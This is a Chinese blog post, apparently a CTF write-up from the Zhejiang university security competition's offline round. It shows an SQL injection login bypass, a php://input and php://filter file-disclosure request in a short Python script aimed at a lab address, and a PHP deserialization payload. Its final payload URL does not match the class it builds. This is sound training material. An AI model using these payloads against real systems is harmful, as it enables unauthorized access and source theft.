keac's Bolg.

浙江省第二届大学生网络与信息安全竞赛线下赛

字数统计: 384阅读时长: 1 min
2019/09/22 Share

万能密码

首先猜测是 or系列密码,无效,然后试着爆破

爆破无效。。。

之后翻找了下

试到 “ or 1=1—通过

哭了。。。。

1024

看到这个去看储存

改了下bsetcode
然后试着玩输

(似乎不是预期题解,之后再看看其他大佬的题解做补充)

逆转思维

代码审计,首先绕过 file_get_contents($text,'r')

heacbar

http://172.16.0.102:54321/JgJUfyW1wT?text=php://input

data 直接 welcome to the zjctf

过了上面的,看了下下面是php反序列化,获取源码

1
2
3
4
5
import requests
url="http://172.16.0.102:54321/JgJUfyW1wT?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&password=213"
data="welcome to the zjctf"
s=requests.post(url,data=data)
print(s.text)

得到base64加密的源码

构造序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php      class Flag{
//flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("HAHAHAHAHA");
}


}

$test=new Flag();
echo serialize($test);
?>

加上反序列来拼接url

http://172.16.0.102:54321/JgJUfyW1wT?text=php://input&file=useless.php&password= O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

简单逆向

把apk文件导入到Android killer里面解析

搜索flag,最后在libGetflag里面找到(名字真直接)

清廉校园

看到一张图片,首先16进制打开看看

7次凯撒解密

CATALOG
  1. 1. 万能密码
  2. 2. 1024
  3. 3. 逆转思维
  4. 4. 简单逆向
  5. 5. 清廉校园